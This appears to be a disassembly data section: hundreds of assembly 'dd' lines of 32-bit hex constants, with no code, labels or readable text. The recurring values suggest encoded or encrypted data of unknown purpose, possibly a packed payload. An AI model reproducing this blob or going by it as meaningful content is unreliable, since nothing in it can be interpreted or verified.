		dd 0A308D8D6h, 0DCEE5238h, 6CADB3D8h, 0A9223215h, 90BCD134h
		dd 7D7DEF0Bh, 0D3BB5382h, 618A2A80h, 0B994BFE0h, 698F9A2Eh
		dd 66443596h, 0E7445215h, 7C127F4h, 69E8E2EAh, 66442B95h
		dd 6636DB15h, 9C333215h, 4054CD79h, 805DFFCDh, 77A7A65Dh
		dd 10B0A436h, 0B108B4E1h, 0E3CD5316h, 618DEF0Ch, 66113FFCh
		dd 0FF473F15h, 50D6C637h, 61D94EAh, 0E3D7A4FBh,	6120340Ch
		dd 6BAD5256h, 0CF223215h, 246D1AD6h, 0D167A5F8h, 3D6D6120h
		dd 6626BB1Ah, 0DF773215h, 6E9ABBFh, 6646B61Ah, 3C913215h
		dd 0B8A63D75h, 773851Ah, 0CA735A74h, 8E42B6E4h,	66113210h
		dd 2BD563C9h, 391D640Eh, 5AE8B73h, 0F3A4CD74h, 698F9A0Dh
		dd 66442A99h, 6631DB15h, 0D8923215h, 0C52F1557h, 347C4117h
		dd 9ED0577Eh, 4570A651h, 0E305C7B3h, 61EC09CAh,	662EB61Ah
		dd 61F83215h, 71883215h, 0E0A6EF58h, 0E52DC1FDh, 66113200h
		dd 668822FCh, 2F0B8915h, 8E2D4EB6h, 2E94A7A7h, 0C622BBD8h
		dd 6994CDDFh, 66223398h, 0E398CE15h, 6127EF08h,	0CD8275h
		dd 74ACAAAh, 661EB61Ah,	6C613215h, 2C443215h, 0EFA78EECh
		dd 2E3532C7h, 7F0DF467h, 29439A13h, 66223FFCh, 529E5315h
		dd 9BE914B2h, 234867CEh, 0B24ACEE5h, 69860785h,	66883592h
		dd 67C13D15h, 9E223215h, 7E8487EAh, 0E835BDh, 0E1B4F094h
		dd 0B9A7BF74h, 9F169A2Eh, 9F7DE2EAh, 0BB65B79Ch, 0ED4235BAh
		dd 0A0C6B3D2h, 7AFEF41h, 605DB7D3h, 936D35BDh, 81F307Dh
		dd 0D377CAECh, 61EC2A80h, 66223BFCh, 0D17EBC15h, 6AED97A0h
		dd 0EBB866E0h, 0CE19ED90h, 6601DB12h, 64ED3215h, 0A8F92780h
		dd 6FCBD5ABh, 7F81EC49h, 0B6775956h, 0DAFD5475h, 88A35438h
		dd 0EF70CCDFh, 0C9551790h, 664ADB12h, 81DC3215h, 4A2BA2BCh
		dd 0A5153D42h, 4FCEF629h, 603BB7D3h, 8F5C35BDh,	66883206h
		dd 0EC7205F4h, 0EE72AD06h, 0E4214CD3h, 6A017595h, 6C2EA4Ch
		dd 6622B31Ah, 969A3215h, 1FC15A74h, 99B1FA22h, 0CE3AA7A0h
		dd 0E39CCE12h, 612009CAh, 8F94CDE0h, 6622321Eh,	0A1DB1727h
		dd 0E9DE2CF4h, 0EF494AC6h, 0C9FF1F90h, 6603DB12h, 0E81B3215h
		dd 56B255C9h, 5961FF9Fh, 0ACBAE832h, 83437DF8h,	605DB7D3h
		dd 8F6F35BDh, 66113213h, 0C8A8222Dh, 0EF2C8A2Ah, 69FEC558h
		dd 66113A9Dh, 64053D15h, 6443215h, 0F397CD74h, 8F169A0Dh
		dd 66883210h, 0F95ED3FEh, 0B9A7BFC4h, 8F169A2Eh, 66883205h
		dd 8A5AC546h, 57E68BB8h, 88002474h, 87A9AF60h, 0E44BE2EAh
		dd 66223204h, 66113EFCh, 6325F215h, 0EED1D3Ah, 0DB976D18h
		dd 4F94BB3Bh, 9F8F9DC8h, 605DB7D3h, 8F7735BDh, 6611321Ah
		dd 8A744BC8h, 16660FFEh, 37728C34h, 8FF9F1FCh, 66883210h
		dd 39906B75h, 4B155AA7h, 0EE1EAE0Eh, 66883212h,	6645BE1Ah
		dd 99DB3215h, 0CE09A7A0h, 0BB085212h, 0E3C9535Eh, 618A09CAh
		dd 660FBA1Ah, 69E83215h, 66443298h, 6632DA15h, 5AA93215h
		dd 1B2EDFFEh, 9FD8B37Dh, 401230DBh, 74E70C1h, 0EA87E2EAh
		dd 66443214h, 57A7BBEDh, 8F169DC8h, 66883212h, 602145E2h
		dd 0A069BAAEh, 0CE172B90h, 6C617112h, 94443215h, 1155FB1Dh
		dd 0BDCB05F0h, 96A25A2Dh, 99B8E0C0h, 0CE3AA7A0h, 6616DB12h
		dd 0B60F3215h, 0ECAB66E6h, 7EAD3DF7h, 69113215h, 6688209Bh
		dd 6649DB15h, 0EB8F3215h, 1DCBE596h, 10E41192h,	0EB6F77DCh
		dd 0CE19ED90h, 6602DB12h, 3CD13215h, 5B6900EBh,	2CC48951h
		dd 1B815099h, 0FE8E0237h, 6994CD00h, 66223E9Fh,	0D9775215h
		dd 0E4872C49h, 66443215h, 53A7BB74h, 8F169DC8h,	6688321Dh
		dd 90A90935h, 0DC3D464Bh, 7F94F4ECh, 348F9A13h,	0D2AE5AE0h
		dd 69CBCF57h, 12113215h, 60AB332Eh, 4245304Ch, 0A81CB6Eh
		dd 0D3EEADE3h, 61202A80h, 0B9C1BFE0h, 69259A2Eh, 66113397h
		dd 0B677CE15h, 664CB21Ah, 0E82D3215h, 66113217h, 0E3015375h
		dd 61EC1734h, 662234FCh, 0C6A3A715h, 0A0CE45D7h, 0CE422B90h
		dd 0ED77512h, 84896B8Ch, 0D3775375h, 61EC2A80h,	0B9A7BFE9h
		dd 9A169A2Eh, 0E7E8E2EAh, 0D8BCE7F5h, 6629DA15h, 90923215h
		dd 88FFC71h, 0B02C5E88h, 6627DAA5h, 225F3215h, 3E055487h
		dd 0E3CD534Bh, 618DEF2Ch, 6616B81Ah, 0E83215h, 3D12F49Eh
		dd 7FA7F474h, 21169A13h, 668821FCh, 0D4BD8A15h,	6DD47289h
		dd 0FB1CD411h, 0F636535Ch, 1F06622Ch, 6626BC1Ah, 0D1713215h
		dd 0A4E053EBh, 8FF5CF75h, 66223210h, 0C4CD6980h, 0F33DCDFDh
		dd 8F439A0Dh, 66223213h, 0DCF15029h, 0EB7D1A5Fh, 0CE7FED90h
		dd 8E42CA12h, 66113218h, 0B9E90A6Dh, 0B8F917A2h, 9777CC12h
		dd 0B7598A6Fh, 8FD147C8h, 6644321Dh, 4980FF96h,	0B491B517h
		dd 8F58CD74h, 66443219h, 0E1678F97h, 0C0ECC808h, 36AAEF18h
		dd 0BB79B79Ch, 4235BAh,	0A166DC94h, 7E68475h, 67C13D74h
		dd 9F223215h, 6008B7D3h, 9ACF35BDh, 0C0BA267Dh,	0E19252CAh
		dd 0F3A4CD74h, 9E8F9A0Dh, 5D9BB798h, 6BCB35BDh,	8E113215h
		dd 60609180h, 5B75FA15h, 665855B5h, 3571E2EAh, 3D4EB973h
		dd 6647BC1Ah, 0ED443215h, 0E39853E2h, 6127EF54h, 6643B51Ah
		dd 0ED2D3215h, 66113214h, 7F0DF4ECh, 39439A13h,	879B5475h
		dd 0E7953A7h, 9F1662E7h, 7ED187EAh, 0EE2D35BDh,	66113204h
		dd 66883EFCh, 9A69F915h, 8C12A455h, 3A8935FDh, 0B90DBF8Ah
		dd 6439A2Eh, 66AE3D75h,	113215h, 7CC33ACh, 694CD74h, 0E6F98D1Ah
		dd 0EF7060C3h, 0C9557790h, 0E382CA12h, 618A340Ch, 76933D5Ah
		dd 6883215h, 66443AFCh,	0FA245E15h, 0D1BE5441h,	0EE9CB60h
		dd 0A1B8492Ah, 662FB61Ah, 6EF83215h, 0B8883215h, 27538498h
		dd 6950339Dh, 66113591h, 670B3D15h, 9E443215h, 7EB787EAh
		dd 0EBE935BDh, 0CEB3ED90h, 0DD225212h, 7E9AC118h, 7601DBAh
		dd 69E8E2EAh, 66443495h, 66AD3D15h, 0D7113215h,	0E3015376h
		dd 61EBEF64h, 662226FCh, 8DEA15h, 8281F3F2h, 51807580h
		dd 71B22E36h, 0F8D79A7Eh, 0EDEE5236h, 0BFC554E7h, 0A043F626h
		dd 0CE172B90h, 0E717512h, 9C1F5C59h, 0F8E1B275h, 87905475h
		dd 7E985BBh, 7ED187EAh,	0E52D35BDh, 66113208h, 669FB11Ah
		dd 74AD3215h, 63223215h, 0BABC93DAh, 0C5B87759h, 0F0BC3640h
		dd 0B3DEFCDh, 0B994BFB4h, 68F9A2Eh, 66443BFDh, 68E7C215h
		dd 19DF3E5Dh, 773D1824h, 0E74B614Dh, 66223215h,	0B6EE534Eh
		dd 0B51D8975h, 0EF25330Bh, 0C9FF4790h, 0E41E5212h, 66883204h
		dd 66443EFCh, 0EAE5DD15h, 0C0FF42FCh, 0F0D7EAEDh, 6643DA10h
		dd 33C03215h, 84719158h, 7D2CB3Eh, 605DB7D3h, 9F6535BDh
		dd 6035FF7Dh, 67063DD6h, 9A443215h, 7EB787EAh, 93ED35BDh
		dd 5D57B798h, 0E54B35BDh, 6622321Dh, 19F7B275h,	7708D1Ah
		dd 6645BE1Ah, 99DE3215h, 6A903DC5h, 69883215h, 6644349Dh
		dd 66AA3D15h, 6113215h,	668826FDh, 3C66BD15h, 0F8369FBCh
		dd 4F065CB4h
		dd 0BBD84802h, 4F7B9792h, 66A63D9Ah, 3E113215h,	1F0DBB74h
		dd 9A439DC8h, 7FA7F4E0h, 39169A13h, 669BB61Ah, 8F243215h
		dd 66223219h, 45F69A07h, 873D6919h, 0A46BD029h,	6EE5A74h
		dd 0EC71E6AEh, 3ED08DE8h, 992571C7h, 0CE3AA7A0h, 6C973D12h
		dd 6883215h, 6644B91Ah,	3E723215h, 0B994BF74h, 9E8F9A2Eh
		dd 6655DB75h, 0C1703215h, 437C69F1h, 0C0E993AEh, 48FA056Ch
		dd 6358CEBh, 0D6C8B973h, 99E9531Bh, 0DC2252C5h,	0E192357Eh
		dd 2F94BB74h, 698F9DC8h, 6644379Ch, 83A25215h, 0E3D7539Eh
		dd 6120340Ch, 75CD3D4Ah, 6223215h, 66113EFCh, 8AAD7615h
		dd 30820277h, 6718BD52h, 6DF85339h, 0E8883215h,	0EA85127Ch
		dd 739323B6h, 28797A64h, 8F16DB41h, 6644321Bh, 68375E0Dh
		dd 2820690Dh, 0CA7C968Eh, 0D3BBC24Dh, 618A2A80h, 0B994BFECh
		dd 9A8F9A2Eh, 0EFBDE2EAh, 0C9FF7F90h, 661DDB12h, 916D3215h
		dd 0D4D6CA85h, 51821FF2h, 0E3D74CBAh, 6120340Ch, 6649DB4Ah
		dd 0B6063215h, 4A681F23h, 0FAE3B909h, 0E33E2DEh, 0B7311A5Dh
		dd 8FC6B875h, 66883206h, 3D5E971Dh, 14980A9Eh, 0D7455FADh
		dd 96ECE257h, 70C3CD0h,	7EB787EAh, 0EBE435BDh, 0CEB3ED90h
		dd 67CE3D12h, 9E223215h, 6DF8E2EAh, 99883215h, 0EA3AD863h
		dd 0DB621B63h, 0E398F71Eh, 6127EF44h, 6649B81Ah, 6ECB3215h
		dd 75113215h, 6F0E253h,	0CF20574h, 664AC711h, 9A113205h
		dd 6698327Dh, 245215h, 1DBEE094h, 46EE8B73h, 600A3D74h
		dd 0E7443215h, 0D1F6C4E6h, 667B535Eh, 0BC08CE75h, 0F3BB536Ah
		dd 618A17E0h, 0A3A85475h, 0B7373D0Fh, 0DC225274h, 0ACA2F5A4h
		dd 0E3985399h, 61203CBCh, 96CF5475h, 6CCB53E0h,	0FD113215h
		dd 51E09100h, 0E6DC5972h, 9DA7BFE8h, 9A169D7Bh,	7461E2EAh
		dd 0A9443215h, 9F98D3Ch, 4B496DAFh, 1EF25D0Eh, 49EE5C5Fh
		dd 9F26586Fh, 6601327Dh, 670D3D15h, 9E443215h, 6602327Dh
		dd 6F913D15h, 6883215h,	6644BC1Ah, 7DE3215h, 661134FCh
		dd 3353CF15h, 0CB47719h, 6BCBCA15h, 0A2113215h,	73F98AA3h
		dd 0B2CEE3A4h, 0E472CB23h, 43E4A7EAh, 9E7D35BDh, 4811B79Ch
		dd 75CB35BDh, 6C113215h, 80413B09h, 7F4633ADh, 0F2842038h
		dd 0B8CD257Eh, 0E3016405h, 61EC02E8h, 65AC3D75h, 69113215h
		dd 73ACCAAh, 6045874h, 2DFBB373h, 0AFAE3D34h, 76885A74h
		dd 69BC3215h, 6622389Ah, 7715215h, 7D9EFD94h, 0E253231h
		dd 66233215h, 57D8B275h, 3F2F8744h, 69AD5274h, 6B223215h
		dd 0C345435Ch, 5D0973FBh, 720B6249h, 7DA5165h, 75F8327Fh
		dd 9B883215h, 8399657h,	4CCC5ECEh, 0EE90EEC5h, 0E3E296D4h
		dd 0F3BB3402h, 618A17E0h, 3C8475h, 4376E394h, 97C1BB74h
		dd 69259A27h, 66113C96h, 61615215h, 0EF443215h,	523BE9D4h
		dd 0ED70D0CCh, 0CEAD43A0h, 67C03D12h, 9F223215h, 0D78CB9EDh
		dd 8F8F9A1Bh, 6644321Ah, 0A4FBE646h, 38B14CA3h,	485E5CEBh
		dd 0EF058AB3h, 0CE0EAFA0h, 0FB98CE12h, 61202A0Ch, 0D7D9B9E0h
		dd 6259A1Bh, 0CF8B373h,	6681DBBBh, 0C5CF3215h, 607325D3h
		dd 7149EFAh, 6A0301EAh,	6280B331h, 9F223215h, 6911CB96h
		dd 66B26391h, 0EF15CE15h, 62E3B3F4h, 0E5113215h, 6A0F36FCh
		dd 62CD6E31h, 6633DB31h, 1AFB3215h, 69DB8191h, 0A5B844ACh
		dd 46A550D8h, 30967AAAh, 0A009D49Ch, 66443211h,	0E126DC96h
		dd 0EF4D1621h, 6701619h, 66443AFCh, 0A3176B15h,	65F1D3A4h
		dd 9E48031Eh, 690E8675h, 0EF43C3A2h, 0CE223F90h, 0E7875212h
		dd 66443201h, 66223DFCh, 0F5A14115h, 42A63686h,	0D492E7Bh
		dd 0DF72241Bh, 9F70F89Fh, 66880E7Dh, 4270B915h,	6926F696h
		dd 6611339Eh, 0A009C715h, 1ADF10E6h, 24BFF494h,	12127EDBh
		dd 88091231h, 2A8A7088h, 44D1DC94h, 0E7714E8Eh,	0D82D86CCh
		dd 664EDB64h, 554C3215h, 9EDF07Ah, 0E6E33D00h, 8FE95474h
		dd 6622321Bh, 4900EBF0h, 0E120002Eh, 6DD5C993h,	6C27506Ch
		dd 4B15966Bh, 35E9535Eh, 46607616h, 7437910h, 181B1F46h
		dd 0D0E836B1h, 6654DAC4h, 3D923215h, 0A7E2997Ch, 0D8EA788h
		dd 60554C1Ch, 91A965BAh, 0DF40534Bh, 6688326Dh,	57BBF314h
		dd 0E1061E94h, 38502419h, 6A0FF494h, 691D7303h,	66223398h
		dd 8890CE15h, 5FBE07D5h, 46604616h, 12EA8A45h, 7E340E16h
		dd 91F02157h, 0B6B372CDh, 5357F420h, 3ED73314h,	7EFECDE0h
		dd 16D68847h, 3213302Dh, 394B3631h, 161AC594h, 6DAD302Dh
		dd 0BD223215h, 145727E1h, 50D30579h, 0DBCD0543h, 618A284Ch
		dd 48898D75h, 9F030383h, 69BBB774h, 66220690h, 0ED775215h
		dd 769B8DFh, 707DAE9h, 0ED2D3215h, 6611321Dh, 668AB51Ah
		dd 7243215h, 662721FCh,	6FF85215h, 0E1883215h, 0AEBF5D17h
		dd 4870BF37h, 0B14D8A73h, 31605A74h, 6ACD3215h,	6628DB31h
		dd 8DEF3215h, 147BF4E2h, 61725882h, 4236B942h, 9A15F696h
		dd 698CE07Eh, 66443D9Eh, 6628DB15h, 0CF3A3215h,	18470EE9h
		dd 69BB278Ah, 71D7A79Ch, 9E7135BDh, 669ADA43h, 0D2213215h
		dd 44263501h, 0D1D6F2A4h, 72D84988h, 96245306h,	0C43684Ah
		dd 6A9E3D11h, 69883215h, 66443496h, 66AE3D15h, 0E113215h
		dd 66882215h, 0ED6A8075h, 0EF7053C2h, 62D3B3F7h, 0E5883215h
		dd 72C336FFh, 72AB6E31h, 6603DB31h, 87EF3215h, 0F33222ABh
		dd 93035B34h, 0F1FA6C42h, 965FDB78h, 99BD327Fh,	0CE07C780h
		dd 8F905212h, 2443E7A6h, 6641DA75h, 0D4D83215h,	3EA40B8Ah
		dd 7E9FA9Eh, 493DB79Ch,	4235BDh, 8E5E87AFh, 66883207h
		dd 28372A63h, 244ADAF0h, 240158B4h, 794DD1ACh, 0DF22B890h
		dd 77C4725h, 0EF15DE96h, 9FD21611h, 3F6006EAh, 6626F694h
		dd 0E91E3215h, 66883218h, 66443AFCh, 711B9315h,	753BB15Fh
		dd 68FDA2Ah, 63AD3215h,	27223215h, 6AB12E06h, 66FDFD7Dh
		dd 4270BB15h, 663AB61Ah, 75F83215h, 0D3883215h,	0EFBEF3D3h
		dd 0CA06A68Ch, 2F6B247Dh, 54C9D335h, 0E04B8A93h, 66223207h
		dd 66113FFCh, 5844E715h, 73FD0E93h, 4CBA573Ch, 69BC62CFh
		dd 66883398h, 0D812C715h, 0B95194Eh, 654FC23Ch,	63AC1651h
		dd 0BF3194Eh, 66223EFCh, 9216F615h, 0DEC3B174h,	767EAEB9h
		dd 3E7562A7h, 0E5350E9Eh, 6A6136D1h, 60443215h,	906C2050h
		dd 721C556Ch, 0E5A3AC2Bh, 5ACD36F9h, 4226B331h,	28D11EF8h
		dd 8B63B34Eh, 9A0AF239h, 662A727Dh, 422DBB15h, 668837FCh
		dd 3AB4715h, 0A612C4DBh, 9B649CE0h, 0E752B975h,	6624A7DBh
		dd 8FDA5317h, 66113218h, 15F6696Ah, 6D195D41h, 0F708FB30h
		dd 6605DBD1h, 0A3E63215h, 0E67963A9h, 0BF284FFDh, 7BB42F7Dh
		dd 6B709355h, 52CF4E7Ah, 84AB6031h, 6615F094h, 0A40B3215h
		dd 4250B511h, 72A33D49h, 8F113215h, 6688321Ah, 0D19BD95h
		dd 9432C8ABh, 387368E0h, 35CDA69Dh, 353365AEh, 3DFD1B62h
		dd 0A190ED3Ch, 11DB4542h, 85CD61ECh, 6626F194h,	8D923215h
		dd 4294B511h, 4250BB49h, 72A965E0h, 62D5B131h, 668FBD1Ah
		dd 0DE243215h, 64B0C69Ah, 0CFACB974h, 9E8F9A1Bh, 99BBCDACh
		dd 0ED2D52EAh, 66113217h, 0DFE86B47h, 602B6B83h, 7436842h
		dd 0E671F224h, 0E08713C9h, 66443216h, 7F3B973h,	63913D75h
		dd 883215h, 0CAA0FA94h,	17FCB373h, 334353E3h, 109629A8h
		dd 785F885Ch, 8C137B63h, 0ECE33348h, 0E2876817h, 66443213h
		dd 98A95475h, 0AE2153EDh
		dd 668FBA1Ah, 0E34B3215h, 66223214h, 99AE65E0h,	4F77CDEAh
		dd 0E24B6DEBh, 6622320Dh, 0AE9A5475h, 66883FFDh, 0D6226D15h
		dd 844839D9h, 0D7D9B248h, 7D6157Bh, 31C306EAh, 1622D8AAh
		dd 426D333Bh, 4BD06D11h, 483432FFh, 0B4953D75h,	60814DADh
		dd 8F495341h, 6650DB1Dh, 9B383215h, 68A20393h, 5F9DBBDBh
		dd 0E1802576h, 2DDD43B7h, 0A7208DF1h, 64013D75h, 6443215h
		dd 2C43CB74h, 992BB71Ah, 7461CDEAh, 0BB443215h,	55776237h
		dd 7471C189h, 9E775A8Eh, 0ABA5EDEh, 52A363D6h, 73020A31h
		dd 0DDDB6A3Fh, 4C51212Dh, 9379EA24h, 4205C545h,	0E7AC369Eh
		dd 664436D1h, 6624DB15h, 6D483215h, 588654h, 3460269Eh
		dd 0A4A3D09Ch, 66113211h, 668CF094h, 72C33215h,	0E7DB6E31h
		dd 661136F9h, 428CBB15h, 76AD309Ah, 0E223215h, 0C65EAE5Ah
		dd 0CDAC43ACh, 8BCD4439h, 0EDE5659h, 66114E30h,	0DFAC3E9Ch
		dd 66443211h, 697BF814h, 66113D95h, 6682DB15h, 3F6F3215h
		dd 0E651D8A8h, 0A0DDAF1Bh, 668ADD7Dh, 4250BB15h, 6BA7CDECh
		dd 8F169A26h, 6688321Ah, 281C582Ch, 61A622A9h, 5DFF0D21h
		dd 0ED0604B6h, 0CE773F80h, 0F31BCB12h, 61B9284Ch, 6606B61Ah
		dd 0EDBC3215h, 0EF701601h, 62D3B3F7h, 0E7883215h, 664436D7h
		dd 4236B515h, 6E95249h,	8F77E295h, 66443213h, 30361769h
		dd 770D4E0h, 38AC06EAh,	8F40F696h, 66223210h, 5DEC33D8h
		dd 0DCDA65FDh, 3E2B74EEh, 0ACA3E0E2h, 1B4D20CDh, 22A0F094h
		dd 0B1CD3236h, 39DC334Fh, 6614DB75h, 0CA483215h, 69A2D191h
		dd 66223296h, 0EBF85315h, 6977CDE9h, 66443F92h,	662ADB15h
		dd 4CD23215h, 0EAD3D7C6h, 8E24A848h, 66223210h,	6850971Ch
		dd 77D6899h, 3C6006EAh,	6626F694h, 0E71E3215h, 66883212h
		dd 0BFC55475h, 0ED437399h, 0EF431621h, 624AB3F7h, 0E5443215h
		dd 72A536D7h, 6716E31h,	0E4875375h, 66443215h, 0DC445274h
		dd 6DF8B904h, 4A883215h, 0F7C54516h, 0F9E08A44h, 770481Ch
		dd 0A3025274h, 52BB53E9h, 0A2A36B31h, 66113211h, 668823FCh
		dd 3707AD15h, 2EC98BEFh, 0A27678F6h, 0CF986542h, 0E64B27AEh
		dd 6622321Dh, 6613B21Ah, 7E83215h, 3760369Eh, 0A7A3D39Ch
		dd 66113211h, 668CF394h, 6AC33215h, 6FCB6E31h, 2B113215h
		dd 330D52E9h, 0BFA7DF03h, 66223FFCh, 0AD000F15h, 6EF1F3A2h
		dd 0ACB0E803h, 0E3E5E785h, 61B92AB4h, 66883215h, 6650B21Ah
		dd 0E42D3215h, 6611321Bh, 66883BFCh, 0CC7BA215h, 0CC5CD293h
		dd 0E3D6FA4Ah, 61203A70h, 66443215h, 68F1B375h,	42ABB8h
		dd 73035ACh, 0BAFD8F96h, 692235BAh, 66111191h, 0E7EE5215h
		dd 764ACCEh, 0C022AF98h, 0E01E35BBh, 66883212h,	6645B91Ah
		dd 99DB3215h, 679E3DC6h, 9F883215h, 55B9B7EAh, 8F4235BDh
		dd 6611321Fh, 0C41D63F1h, 0A5827532h, 6ECBD94Ah, 3E113215h
		dd 20BE7954h, 7235FC8h,	55DF8F96h, 697535BDh, 668A4997h
		dd 0E383CA15h, 618A01E8h, 66113214h, 6683B61Ah,	60AD3215h
		dd 41223215h, 6F176169h, 69745296h, 66443592h, 67A93D15h
		dd 9F113215h, 1DDDB798h, 62435BAh, 77EF395h, 1B7A8CADh
		dd 0B6775339h, 66443CFCh, 17769F15h, 0D4B7EA6Ch, 3254A786h
		dd 0EB547233h, 0C9FFBBA0h, 0ED775212h, 0DB0553E5h, 61F45B14h
		dd 662239FCh, 3C823B15h, 80B47785h, 7DB71760h, 459FF594h
		dd 0A1901E42h, 465111C1h, 89C5C53Ch, 46FB11C1h,	45ACDD94h
		dd 6F611E42h, 0A1443215h, 0D1D0582Eh, 0C284794Bh, 3573BB46h
		dd 3B603694h, 3C284927h, 544CD894h, 8FD3386Eh, 6644321Ah
		dd 9EFDCE87h, 0D185D03Eh, 0D1F0BFD5h, 9EEF4751h, 688B8F9Eh
		dd 63F835BDh, 78883215h, 280DD2B2h, 99DDCDACh, 6600DBEAh
		dd 0D0DB3215h, 30AE2C98h, 898130E6h, 0A39051F6h, 5738C510h
		dd 0DF15C7D5h, 66223215h, 0DD42C314h, 66883215h, 65CEF914h
		dd 0EB2D6B4Eh, 6611321Dh, 66003D75h, 7443215h, 74CBFA25h
		dd 17113215h, 7B7E7845h, 0C6FA4346h, 0FA9BA78Bh, 0ADDBE364h
		dd 99326003h, 4FBBCDEAh, 0E12D68C3h, 66113203h,	668823FCh
		dd 0D0C25A15h, 61D64F8Fh, 6CB84331h, 9C7DA058h,	52BB1970h
		dd 4226B992h, 6615F694h, 74613215h, 3A443215h, 6D37A127h
		dd 0FF22F2C8h, 18A2E61Bh, 0C7C32BD9h, 63A83DE0h, 6113215h
		dd 74FEF95h, 694CDBD4h,	66223F9Eh, 6619DB15h, 254C3215h
		dd 1BDC5F1h, 0A713F798h, 661122FCh, 0E3D15115h,	7CE31A11h
		dd 162F3970h, 0F7CD7297h, 0E38778F3h, 99BBCD2Eh, 0ED446475h
		dd 0D87769DDh, 0E5E97741h, 5ACD36F9h, 0EFEDBB31h, 75F86DEDh
		dd 16883215h, 1F2FA448h, 94B1D317h, 34373433h, 0FADC102Ch
		dd 36B8FF57h, 91063692h, 4215B5C5h, 0E3B1CB4Dh,	61EC383Ch
		dd 6651B61Ah, 0E91E3215h, 6688321Dh, 66C93D75h,	7223215h
		dd 66118F40h, 0E7DD3215h, 17711621h, 537A6010h,	34144320h
		dd 0A683CE48h, 6660B71Ah, 423215h, 339AFD94h, 6F615274h
		dd 0F2443215h, 57010834h, 0F289FD13h, 0A1E9CB9Eh, 0CE512790h
		dd 66223312h, 0DE41CA15h, 7CE661B5h, 0A908CF18h, 6065070Eh
		dd 0A71029CBh, 0E7AC369Eh, 664436D1h, 0C49D5215h, 9A21488Fh
		dd 6F615374h, 58443215h, 7D0365ABh, 1D738B76h, 16AED7ACh
		dd 0E795C538h, 0B735ACF4h, 0EBAA617Bh, 675CF38Fh, 0EF4B69CCh
		dd 66223200h, 6618DB75h, 0A3633215h, 0D68F8EC2h, 4BB0AEh
		dd 0B043F494h, 15355A74h, 72CF4B2Ah, 62E6B131h,	66113CFCh
		dd 0CCE94F15h, 885B3A5Dh, 0B19ADECEh, 6690F2Ch,	5454D594h
		dd 75AC2518h, 98223215h, 1375411Bh, 0C73F19DEh,	2C068150h
		dd 8396E655h, 78AE4F03h, 3CEA59B5h, 76AD9F74h, 24223215h
		dd 0C229F7F7h, 9C1C1A6h, 7A00F2ADh, 0EF808CF6h,	0CE3DAFA0h
		dd 6698DB12h, 0A43D3215h, 0B6124E03h, 0ACBF3737h, 6A227F07h
		dd 20837225h, 2B2ACDE9h, 9A57CD6Fh, 43744494h, 0E77B2A40h
		dd 0D9DCE63h, 20EE2146h, 9AFEB3E9h, 3042058Eh, 662CB61Ah
		dd 6FF83215h, 0DA883215h, 84E4A093h, 6D5F29FEh,	88FFDC28h
		dd 0E10D3DFBh, 9E443215h, 0BBFF0C94h, 0E31EEFC8h, 6688326Fh
		dd 6642B71Ah, 0ED423215h, 77052EFh, 663567ECh, 33443215h
		dd 0CB060694h, 0E9038108h, 0CBBEB313h, 3B568108h, 0DD446175h
		dd 0ED4F9819h, 0E88753E4h, 66443213h, 67C6375h,	33795374h
		dd 0EF88320Eh, 62FD1619h, 67223215h, 37716BDBh,	0D301534Ch
		dd 61EC1E88h, 4BB4DBECh, 61F83215h, 0E6883215h,	0D0EEBD22h
		dd 0C7CB2C83h, 8FEECDEBh, 6688321Fh, 0C1D5EDBEh, 0ED8243E8h
		dd 0EF4665DAh, 0ED73BBD2h, 0A2C51629h, 66223211h, 661122FCh
		dd 1C54A115h, 0B04264A2h, 0E8C32543h, 9EA140B7h, 0E28752A7h
		dd 66443216h, 0D3DCB973h, 0E322534Ah, 61202700h, 658CF3E0h
		dd 6623BB1Ah, 30E43215h, 778C05ABh, 80C57C18h, 4F044591h
		dd 8890ECE2h, 0DBE4E211h, 4F1AC23Ch, 4DDA37C5h,	0D3710B86h
		dd 0A7E9CA91h, 68AD22D5h, 0E223215h, 0A438CA58h, 1E204F73h
		dd 0A8C64C9Dh, 8FEA0340h, 66113212h, 7861F0FFh,	0EF012C3Bh
		dd 0CE372788h, 7E983D12h, 8F883215h, 66443206h,	87C0B499h
		dd 0E9B4A5E6h, 0A9AF68BDh, 24ADCC26h, 5B87044Dh, 66103215h
		dd 6763B11Ah, 69243215h, 66223097h, 8FDFB815h, 66883210h
		dd 4ECC10B0h, 58A3531Eh, 0DDAA89AEh, 6743B71Ah,	6243215h
		dd 8F436843h, 6611321Ah
		dd 7A2139F4h, 9293FF43h, 19978324h, 728E3CBh, 0C4E06745h
		dd 3B380550h, 93A3E7E2h, 8A9B9DA5h, 63D5DA9Ch, 0F6F9D806h
		dd 8F7A349Ch, 66113218h, 0AE85C102h, 0EB643781h, 0D09568CDh
		dd 62AE654Ch, 67883215h, 4278B9EBh, 6626F694h, 6DF83215h
		dd 87883215h, 0F51005CAh, 0CC7BECE2h, 0D3985F45h, 61201E88h
		dd 664434FCh, 9DCBCB15h, 0EDB28CE7h, 0CE868388h, 67C53D12h
		dd 9F223215h, 6A9A01EAh, 624CB131h, 6651BD1Ah, 76CB3215h
		dd 0B4113215h, 8077442Fh, 0EAABD413h, 0AF263604h, 30BF21BEh
		dd 9401F49Ch, 0E560069Eh, 6D736D1h, 6607B91Ah, 77613215h
		dd 2C443215h, 0C057734Fh, 99C67CA0h, 36888C44h,	147AE76h
		dd 33F7BB40h, 6EF86F4Dh, 7D883215h, 87296D20h, 4D6D2BD1h
		dd 0CE1E8B90h, 8E745212h, 66443210h, 6D440A82h,	0A7706801h
		dd 8FE830F5h, 66443212h, 310B6563h, 0DEF5CB77h,	31E6066Ah
		dd 7BC13174h, 69259A31h, 66113599h, 670C3D15h, 9F443215h
		dd 667AB77Dh, 4215BB15h, 8FD66A43h, 6644321Ah, 0F8BC094Eh
		dd 75C58F9Eh, 5B624D34h, 0CBACDEFEh, 662EBF1Ah,	8F713215h
		dd 66883210h, 0B9159F7h, 0CC27533Ah, 6770D351h,	0CC3163DDh
		dd 4F25D351h, 6DB6BDDh,	8FDA851Ah, 66883204h, 32091E4h
		dd 0ECCFB5C0h, 0CA9C1EEDh, 7F62F136h, 22CD53D0h, 6422E31h
		dd 8FCF851Ah, 66883205h, 5A09D654h, 938051BBh, 0A333229Fh
		dd 8ED88D6Dh, 78CB974h,	0ACBCA74h, 6113216h, 0D1EB8475h
		dd 0ED2253F9h, 74CB53DFh, 0FE113215h, 0BA640DD7h, 4FC07088h
		dd 5C266D83h, 0CC8E3F3Dh, 43EC5AF3h, 6ACD3215h,	6DAB3D31h
		dd 8F113215h, 66883213h, 0DE5A59E8h, 0EF4ADD9Ch, 0EF113211h
		dd 0EF871601h, 6644321Ah, 662238FCh, 0B6786C15h, 19D31CD0h
